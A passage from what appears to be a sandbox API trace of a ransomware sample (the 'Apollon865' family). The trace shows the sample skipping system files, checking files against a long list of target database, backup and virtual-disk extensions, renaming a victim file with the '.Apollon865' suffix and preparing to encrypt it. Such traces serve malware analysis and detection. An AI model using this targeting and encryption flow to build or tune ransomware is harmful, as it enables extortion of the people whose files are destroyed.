	[0082.920] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0082.920] lstrlenW (lpString="rodx") returned 4
	[0082.920] lstrcmpiW (lpString1="_dll", lpString2="rodx") returned -1
	[0082.920] lstrlenW (lpString="rpd") returned 3
	[0082.920] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0082.920] lstrlenW (lpString="rsd") returned 3
	[0082.920] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0082.921] lstrlenW (lpString="sas7bdat") returned 8
	[0082.921] lstrcmpiW (lpString1=".trx_dll", lpString2="sas7bdat") returned -1
	[0082.921] lstrlenW (lpString="sbf") returned 3
	[0082.921] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0082.921] lstrlenW (lpString="scx") returned 3
	[0082.921] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0082.921] lstrlenW (lpString="sdb") returned 3
	[0082.921] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0082.921] lstrlenW (lpString="sdc") returned 3
	[0082.921] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0082.921] lstrlenW (lpString="sdf") returned 3
	[0082.921] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0082.921] lstrlenW (lpString="sis") returned 3
	[0082.921] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0082.921] lstrlenW (lpString="spq") returned 3
	[0082.921] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0082.921] lstrlenW (lpString="te") returned 2
	[0082.921] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0082.921] lstrlenW (lpString="teacher") returned 7
	[0082.921] lstrcmpiW (lpString1="trx_dll", lpString2="teacher") returned 1
	[0082.921] lstrlenW (lpString="tmd") returned 3
	[0082.921] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0082.921] lstrlenW (lpString="tps") returned 3
	[0082.921] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0082.921] lstrlenW (lpString="trc") returned 3
	[0082.921] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0082.921] lstrlenW (lpString="trc") returned 3
	[0082.921] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0082.921] lstrlenW (lpString="trm") returned 3
	[0082.921] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0082.921] lstrlenW (lpString="udb") returned 3
	[0082.921] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0082.921] lstrlenW (lpString="udl") returned 3
	[0082.921] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0082.921] lstrlenW (lpString="usr") returned 3
	[0082.921] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0082.921] lstrlenW (lpString="v12") returned 3
	[0082.922] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0082.922] lstrlenW (lpString="vis") returned 3
	[0082.922] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0082.922] lstrlenW (lpString="vpd") returned 3
	[0082.922] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0082.922] lstrlenW (lpString="vvv") returned 3
	[0082.922] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0082.922] lstrlenW (lpString="wdb") returned 3
	[0082.922] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0082.922] lstrlenW (lpString="wmdb") returned 4
	[0082.922] lstrcmpiW (lpString1="_dll", lpString2="wmdb") returned -1
	[0082.922] lstrlenW (lpString="wrk") returned 3
	[0082.922] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0082.922] lstrlenW (lpString="xdb") returned 3
	[0082.922] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0082.922] lstrlenW (lpString="xld") returned 3
	[0082.922] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0082.922] lstrlenW (lpString="xmlff") returned 5
	[0082.922] lstrcmpiW (lpString1="x_dll", lpString2="xmlff") returned -1
	[0082.922] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.REST.trx_dll.Apollon865") returned 83
	[0082.922] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\msointl.rest.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.REST.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\msointl.rest.trx_dll.apollon865"), dwFlags=0x1) returned 1
	[0082.923] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.REST.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\msointl.rest.trx_dll.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0082.923] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=2944352) returned 1
	[0082.923] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0082.924] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0082.924] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0082.924] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0082.924] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0082.924] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0082.925] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2cf060, lpName=0x0) returned 0x15c
	[0082.927] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0xcf060) returned 0x2bb0000
	[0082.977] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3390000
	[0083.091] UnmapViewOfFile (lpBaseAddress=0x3390000) returned 1
	[0083.110] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0083.111] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0083.111] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0083.111] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0083.111] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0083.111] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0083.111] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0083.111] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0083.111] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0083.111] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0083.112] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0083.112] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0083.112] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0083.112] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1
	[0083.133] CloseHandle (hObject=0x15c) returned 1
	[0083.133] CloseHandle (hObject=0x9c) returned 1
	[0083.133] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0083.135] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0083.135] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0083.145] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaa381000, ftCreationTime.dwHighDateTime=0x1cac7fb, ftLastAccessTime.dwLowDateTime=0xeef27730, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xaa381000, ftLastWriteTime.dwHighDateTime=0x1cac7fb, nFileSizeHigh=0x0, nFileSizeLow=0xb360, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OMSINTL.DLL.trx_dll", cAlternateFileName="OMSINT~1.TRX")) returned 1
	[0083.145] lstrcmpiW (lpString1="OMSINTL.DLL.trx_dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0083.145] lstrcmpiW (lpString1="OMSINTL.DLL.trx_dll", lpString2="Apollon865.txt.exe") returned 1
	[0083.145] lstrcmpiW (lpString1="OMSINTL.DLL.trx_dll", lpString2=".") returned 1
	[0083.145] lstrcmpiW (lpString1="OMSINTL.DLL.trx_dll", lpString2="..") returned 1
	[0083.145] lstrcmpiW (lpString1="OMSINTL.DLL.trx_dll", lpString2="windows") returned -1
	[0083.145] lstrcmpiW (lpString1="OMSINTL.DLL.trx_dll", lpString2="bootmgr") returned 1
	[0083.145] lstrcmpiW (lpString1="OMSINTL.DLL.trx_dll", lpString2="temp") returned -1
	[0083.145] lstrcmpiW (lpString1="OMSINTL.DLL.trx_dll", lpString2="pagefile.sys") returned -1
	[0083.145] lstrcmpiW (lpString1="OMSINTL.DLL.trx_dll", lpString2="boot") returned 1
	[0083.145] lstrcmpiW (lpString1="OMSINTL.DLL.trx_dll", lpString2="ids.txt") returned 1
	[0083.145] lstrcmpiW (lpString1="OMSINTL.DLL.trx_dll", lpString2="ntuser.dat") returned 1
	[0083.145] lstrcmpiW (lpString1="OMSINTL.DLL.trx_dll", lpString2="perflogs") returned -1
	[0083.145] lstrcmpiW (lpString1="OMSINTL.DLL.trx_dll", lpString2="MSBuild") returned 1
	[0083.145] lstrlenW (lpString="OMSINTL.DLL.trx_dll") returned 19
	[0083.145] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.REST.trx_dll") returned 72
	[0083.145] lstrcpyW (in: lpString1=0x119e670, lpString2="OMSINTL.DLL.trx_dll" | out: lpString1="OMSINTL.DLL.trx_dll") returned="OMSINTL.DLL.trx_dll"
	[0083.145] lstrlenW (lpString="OMSINTL.DLL.trx_dll") returned 19
	[0083.145] lstrlenW (lpString="Apollon865") returned 10
	[0083.145] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0083.145] lstrlenW (lpString=".dll") returned 4
	[0083.145] lstrcmpiW (lpString1="OMSINTL.DLL.trx_dll", lpString2=".dll") returned 1
	[0083.145] lstrlenW (lpString=".lnk") returned 4
	[0083.145] lstrcmpiW (lpString1="OMSINTL.DLL.trx_dll", lpString2=".lnk") returned 1
	[0083.145] lstrlenW (lpString=".ini") returned 4
	[0083.145] lstrcmpiW (lpString1="OMSINTL.DLL.trx_dll", lpString2=".ini") returned 1
	[0083.145] lstrlenW (lpString=".sys") returned 4
	[0083.145] lstrcmpiW (lpString1="OMSINTL.DLL.trx_dll", lpString2=".sys") returned 1
	[0083.145] lstrlenW (lpString="OMSINTL.DLL.trx_dll") returned 19
	[0083.145] lstrlenW (lpString="bak") returned 3
	[0083.146] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0083.146] lstrlenW (lpString="ba_") returned 3
	[0083.146] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0083.146] lstrlenW (lpString="dbb") returned 3
	[0083.146] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0083.146] lstrlenW (lpString="vmdk") returned 4
	[0083.146] lstrcmpiW (lpString1="_dll", lpString2="vmdk") returned -1
	[0083.146] lstrlenW (lpString="rar") returned 3
	[0083.146] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0083.146] lstrlenW (lpString="zip") returned 3
	[0083.146] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0083.146] lstrlenW (lpString="tgz") returned 3
	[0083.146] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0083.146] lstrlenW (lpString="vbox") returned 4
	[0083.146] lstrcmpiW (lpString1="_dll", lpString2="vbox") returned -1
	[0083.146] lstrlenW (lpString="vdi") returned 3
	[0083.146] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0083.146] lstrlenW (lpString="vhd") returned 3
	[0083.146] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0083.146] lstrlenW (lpString="vhdx") returned 4
	[0083.146] lstrcmpiW (lpString1="_dll", lpString2="vhdx") returned -1
	[0083.146] lstrlenW (lpString="avhd") returned 4
	[0083.146] lstrcmpiW (lpString1="_dll", lpString2="avhd") returned -1
	[0083.146] lstrlenW (lpString="db") returned 2
	[0083.146] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0083.146] lstrlenW (lpString="db2") returned 3
	[0083.146] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0083.146] lstrlenW (lpString="db3") returned 3
	[0083.146] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0083.146] lstrlenW (lpString="dbf") returned 3
	[0083.146] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0083.146] lstrlenW (lpString="mdf") returned 3
	[0083.146] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0083.146] lstrlenW (lpString="mdb") returned 3
	[0083.146] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0083.146] lstrlenW (lpString="sql") returned 3
	[0083.147] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0083.147] lstrlenW (lpString="sqlite") returned 6
	[0083.147] lstrcmpiW (lpString1="rx_dll", lpString2="sqlite") returned -1
	[0083.147] lstrlenW (lpString="sqlite3") returned 7
	[0083.147] lstrcmpiW (lpString1="trx_dll", lpString2="sqlite3") returned 1
	[0083.147] lstrlenW (lpString="sqlitedb") returned 8
	[0083.147] lstrcmpiW (lpString1=".trx_dll", lpString2="sqlitedb") returned -1
	[0083.147] lstrlenW (lpString="xml") returned 3
	[0083.147] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0083.147] lstrlenW (lpString="$er") returned 3
	[0083.147] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0083.147] lstrlenW (lpString="4dd") returned 3
	[0083.147] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0083.147] lstrlenW (lpString="4dl") returned 3
	[0083.147] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0083.147] lstrlenW (lpString="^^^") returned 3
	[0083.147] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0083.147] lstrlenW (lpString="abs") returned 3
	[0083.147] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0083.147] lstrlenW (lpString="abx") returned 3
	[0083.147] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0083.147] lstrlenW (lpString="accdb") returned 5
	[0083.147] lstrcmpiW (lpString1="x_dll", lpString2="accdb") returned 1
	[0083.147] lstrlenW (lpString="accdc") returned 5
	[0083.147] lstrcmpiW (lpString1="x_dll", lpString2="accdc") returned 1
	[0083.147] lstrlenW (lpString="accde") returned 5
	[0083.147] lstrcmpiW (lpString1="x_dll", lpString2="accde") returned 1
	[0083.147] lstrlenW (lpString="accdr") returned 5
	[0083.147] lstrcmpiW (lpString1="x_dll", lpString2="accdr") returned 1
	[0083.147] lstrlenW (lpString="accdt") returned 5
	[0083.147] lstrcmpiW (lpString1="x_dll", lpString2="accdt") returned 1
	[0083.147] lstrlenW (lpString="accdw") returned 5
	[0083.147] lstrcmpiW (lpString1="x_dll", lpString2="accdw") returned 1
	[0083.147] lstrlenW (lpString="accft") returned 5
	[0083.147] lstrcmpiW (lpString1="x_dll", lpString2="accft") returned 1
	[0083.147] lstrlenW (lpString="adb") returned 3
	[0083.147] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0083.148] lstrlenW (lpString="adb") returned 3
	[0083.148] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0083.148] lstrlenW (lpString="ade") returned 3
	[0083.148] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0083.148] lstrlenW (lpString="adf") returned 3
	[0083.148] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0083.148] lstrlenW (lpString="adn") returned 3
	[0083.148] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0083.148] lstrlenW (lpString="adp") returned 3
	[0083.148] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0083.148] lstrlenW (lpString="alf") returned 3
	[0083.148] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0083.148] lstrlenW (lpString="ask") returned 3
	[0083.148] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0083.148] lstrlenW (lpString="btr") returned 3
	[0083.148] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0083.148] lstrlenW (lpString="cat") returned 3
	[0083.148] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0083.148] lstrlenW (lpString="cdb") returned 3
	[0083.148] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0083.148] lstrlenW (lpString="ckp") returned 3
	[0083.148] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0083.148] lstrlenW (lpString="cma") returned 3
	[0083.148] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0083.148] lstrlenW (lpString="cpd") returned 3
	[0083.148] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0083.148] lstrlenW (lpString="dacpac") returned 6
	[0083.148] lstrcmpiW (lpString1="rx_dll", lpString2="dacpac") returned 1
	[0083.148] lstrlenW (lpString="dad") returned 3
	[0083.148] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0083.148] lstrlenW (lpString="dadiagrams") returned 10
	[0083.148] lstrcmpiW (lpString1="LL.trx_dll", lpString2="dadiagrams") returned 1
	[0083.148] lstrlenW (lpString="daschema") returned 8
	[0083.148] lstrcmpiW (lpString1=".trx_dll", lpString2="daschema") returned -1
	[0083.148] lstrlenW (lpString="db-journal") returned 10
	[0083.148] lstrcmpiW (lpString1="LL.trx_dll", lpString2="db-journal") returned 1
	[0083.148] lstrlenW (lpString="db-shm") returned 6
	[0083.149] lstrcmpiW (lpString1="rx_dll", lpString2="db-shm") returned 1
	[0083.149] lstrlenW (lpString="db-wal") returned 6
	[0083.149] lstrcmpiW (lpString1="rx_dll", lpString2="db-wal") returned 1
	[0083.149] lstrlenW (lpString="dbc") returned 3
	[0083.149] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0083.149] lstrlenW (lpString="dbs") returned 3
	[0083.149] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0083.149] lstrlenW (lpString="dbt") returned 3
	[0083.149] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0083.149] lstrlenW (lpString="dbv") returned 3
	[0083.149] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0083.149] lstrlenW (lpString="dbx") returned 3
	[0083.149] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0083.149] lstrlenW (lpString="dcb") returned 3
	[0083.149] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0083.149] lstrlenW (lpString="dct") returned 3
	[0083.149] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0083.149] lstrlenW (lpString="dcx") returned 3
	[0083.149] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0083.149] lstrlenW (lpString="ddl") returned 3
	[0083.149] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0083.149] lstrlenW (lpString="dlis") returned 4
	[0083.149] lstrcmpiW (lpString1="_dll", lpString2="dlis") returned -1
	[0083.149] lstrlenW (lpString="dp1") returned 3
	[0083.149] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0083.149] lstrlenW (lpString="dqy") returned 3
	[0083.149] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0083.149] lstrlenW (lpString="dsk") returned 3
	[0083.149] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0083.149] lstrlenW (lpString="dsn") returned 3
	[0083.149] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0083.149] lstrlenW (lpString="dtsx") returned 4
	[0083.149] lstrcmpiW (lpString1="_dll", lpString2="dtsx") returned -1
	[0083.149] lstrlenW (lpString="dxl") returned 3
	[0083.149] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0083.149] lstrlenW (lpString="eco") returned 3
	[0083.149] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0083.149] lstrlenW (lpString="ecx") returned 3
	[0083.150] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0083.150] lstrlenW (lpString="edb") returned 3
	[0083.150] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0083.150] lstrlenW (lpString="epim") returned 4
	[0083.150] lstrcmpiW (lpString1="_dll", lpString2="epim") returned -1
	[0083.150] lstrlenW (lpString="fcd") returned 3
	[0083.150] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0083.150] lstrlenW (lpString="fdb") returned 3
	[0083.150] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0083.150] lstrlenW (lpString="fic") returned 3
	[0083.150] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0083.150] lstrlenW (lpString="flexolibrary") returned 12
	[0083.150] lstrcmpiW (lpString1=".DLL.trx_dll", lpString2="flexolibrary") returned -1
	[0083.150] lstrlenW (lpString="fm5") returned 3
	[0083.150] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0083.150] lstrlenW (lpString="fmp") returned 3
	[0083.150] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0083.150] lstrlenW (lpString="fmp12") returned 5
	[0083.150] lstrcmpiW (lpString1="x_dll", lpString2="fmp12") returned 1
	[0083.150] lstrlenW (lpString="fmpsl") returned 5
	[0083.150] lstrcmpiW (lpString1="x_dll", lpString2="fmpsl") returned 1
	[0083.150] lstrlenW (lpString="fol") returned 3
	[0083.150] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0083.150] lstrlenW (lpString="fp3") returned 3
	[0083.150] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0083.150] lstrlenW (lpString="fp4") returned 3
	[0083.150] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0083.150] lstrlenW (lpString="fp5") returned 3
	[0083.150] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0083.150] lstrlenW (lpString="fp7") returned 3
	[0083.150] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0083.150] lstrlenW (lpString="fpt") returned 3
	[0083.150] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0083.150] lstrlenW (lpString="frm") returned 3
	[0083.150] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0083.150] lstrlenW (lpString="gdb") returned 3
	[0083.150] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0083.151] lstrlenW (lpString="gdb") returned 3
	[0083.151] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0083.151] lstrlenW (lpString="grdb") returned 4
	[0083.151] lstrcmpiW (lpString1="_dll", lpString2="grdb") returned -1
	[0083.151] lstrlenW (lpString="gwi") returned 3
	[0083.151] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0083.151] lstrlenW (lpString="hdb") returned 3
	[0083.151] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0083.151] lstrlenW (lpString="his") returned 3
	[0083.151] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0083.151] lstrlenW (lpString="ib") returned 2
	[0083.151] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0083.151] lstrlenW (lpString="idb") returned 3
	[0083.151] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0083.151] lstrlenW (lpString="ihx") returned 3
	[0083.151] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0083.151] lstrlenW (lpString="itdb") returned 4
	[0083.151] lstrcmpiW (lpString1="_dll", lpString2="itdb") returned -1
	[0083.151] lstrlenW (lpString="itw") returned 3
	[0083.151] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0083.151] lstrlenW (lpString="jet") returned 3
	[0083.151] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0083.151] lstrlenW (lpString="jtx") returned 3
	[0083.151] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0083.151] lstrlenW (lpString="kdb") returned 3
	[0083.151] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0083.151] lstrlenW (lpString="kexi") returned 4
	[0083.151] lstrcmpiW (lpString1="_dll", lpString2="kexi") returned -1
	[0083.151] lstrlenW (lpString="kexic") returned 5
	[0083.151] lstrcmpiW (lpString1="x_dll", lpString2="kexic") returned 1
	[0083.151] lstrlenW (lpString="kexis") returned 5
	[0083.151] lstrcmpiW (lpString1="x_dll", lpString2="kexis") returned 1
	[0083.151] lstrlenW (lpString="lgc") returned 3
	[0083.151] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0083.151] lstrlenW (lpString="lwx") returned 3
	[0083.151] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0083.151] lstrlenW (lpString="maf") returned 3
	[0083.151] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0083.151] lstrlenW (lpString="maq") returned 3
	[0083.152] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0083.152] lstrlenW (lpString="mar") returned 3
	[0083.152] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0083.152] lstrlenW (lpString="marshal") returned 7
	[0083.152] lstrcmpiW (lpString1="trx_dll", lpString2="marshal") returned 1
	[0083.152] lstrlenW (lpString="mas") returned 3
	[0083.152] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0083.152] lstrlenW (lpString="mav") returned 3
	[0083.152] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0083.152] lstrlenW (lpString="maw") returned 3
	[0083.152] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0083.152] lstrlenW (lpString="mdbhtml") returned 7
	[0083.152] lstrcmpiW (lpString1="trx_dll", lpString2="mdbhtml") returned 1
	[0083.152] lstrlenW (lpString="mdn") returned 3
	[0083.152] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0083.152] lstrlenW (lpString="mdt") returned 3
	[0083.152] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0083.152] lstrlenW (lpString="mfd") returned 3
	[0083.152] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0083.152] lstrlenW (lpString="mpd") returned 3
	[0083.152] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0083.152] lstrlenW (lpString="mrg") returned 3
	[0083.152] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0083.152] lstrlenW (lpString="mud") returned 3
	[0083.152] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0083.152] lstrlenW (lpString="mwb") returned 3
	[0083.152] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0083.152] lstrlenW (lpString="myd") returned 3
	[0083.152] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0083.152] lstrlenW (lpString="ndf") returned 3
	[0083.152] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0083.152] lstrlenW (lpString="nnt") returned 3
	[0083.152] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0083.152] lstrlenW (lpString="nrmlib") returned 6
	[0083.152] lstrcmpiW (lpString1="rx_dll", lpString2="nrmlib") returned 1
	[0083.152] lstrlenW (lpString="ns2") returned 3
	[0083.152] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0083.152] lstrlenW (lpString="ns3") returned 3
	[0083.152] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0083.153] lstrlenW (lpString="ns4") returned 3
	[0083.153] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
